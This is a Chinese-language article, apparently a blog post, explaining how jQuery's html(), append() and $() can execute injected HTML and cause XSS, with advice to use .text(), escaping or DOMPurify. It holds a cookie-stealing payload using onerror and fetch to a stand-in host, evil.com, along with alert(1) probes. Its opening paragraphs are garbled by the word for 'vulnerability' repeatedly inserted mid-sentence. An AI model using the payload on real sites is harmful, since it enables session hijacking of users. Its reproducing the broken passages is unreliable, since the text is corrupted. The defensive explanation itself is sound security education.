jQuery存在XSS漏洞
2019年,漏洞一个叫Snyk的漏洞安全团队在jQuery的html()方法里翻出了点东西。准确说,漏洞他们发现当开发者把用户输入直接塞进$(selector).html(userInput)时,漏洞jQuery会老老实实执行里面的漏洞<script>标签。这事不新鲜,漏洞但jQuery官方文档里那句“这个方法可以执行传入的漏洞脚本”写得像在介绍功能,而不是漏洞警告。
我翻过jQuery 3.5.0的漏洞更新日志。里面悄悄改了一个行为:html()不再执行<script>标签了。漏洞但如果你传的漏洞是<img src=x onerror=alert(1)>,照样弹窗。漏洞换句话说,漏洞他们只堵了一个洞,漏洞旁边那扇门还开着。漏洞
为什么jQuery特别容易踩这个坑
jQuery的设计哲学是“写少做多”。$(‘#div’).html(‘<b>’ + name + ‘</b>’)这种写法太顺手了,顺手到没人会停下来想:这个name是从URL参数来的吗?是用户昵称吗?
我见过一个真实案例。某后台管理系统用jQuery的append()拼接用户提交的“备注”字段。备注里写<img src=1 onerror=fetch(‘//evil.com?c=’+document.cookie)>,管理员一打开列表页,cookie就飞了。开发者后来跟我说:“我以为append只是加个文本。”
jQuery的append、prepend、before、after、html、replaceWith——这些方法全都有同样的问题。它们接受HTML字符串,然后交给浏览器的innerHTML解析。浏览器解析HTML时,事件属性如onerror、onload、onclick不会被过滤。
有人会说:那不是jQuery的错
对,严格说这是开发者自己没转义。但jQuery的API设计在鼓励这种写法。对比一下原生textContent——它只认文本,不认标签。jQuery的.text()其实也安全,可很多人分不清.html()和.text()的区别,或者图省事直接上.html()。
更麻烦的是jQuery的$()函数本身。你写$(‘<div>’ + userInput + ‘</div>’),jQuery会尝试把整个字符串当HTML解析。如果userInput是<script>alert(1)</script>,在jQuery 3.5.0之前直接执行。之后版本虽然不执行script,但onerror这类内联事件依然有效。
怎么绕过去
最直接的办法:别用.html()。要插文本就用.text()。要插HTML但内容不可信,先转义<、>、&、"、'。或者用DOMPurify这类库过滤一遍。
还有个坑是$.parseHTML()。它默认keepScripts: false,看起来安全,但如果你手动设成true,或者后续用.append()把解析结果插进去,内联事件照样触发。我见过有人用$.parseHTML()过滤后直接append,以为万事大吉,结果<img onerror>还是弹了。
jQuery团队在3.5.0之后没再大改这块。他们的态度很明确:这是开发者责任。但现实是,大量老项目还在用jQuery 1.x、2.x,那些版本连script标签都不拦。你没法强迫所有项目升级,也没法保证每个开发者都懂转义。
所以下次写.html()的时候,停半秒。问自己一句:这个字符串里有没有用户能控制的部分?如果有,换.text(),或者先过一遍转义函数。别等cookie被偷了再回头翻jQuery文档。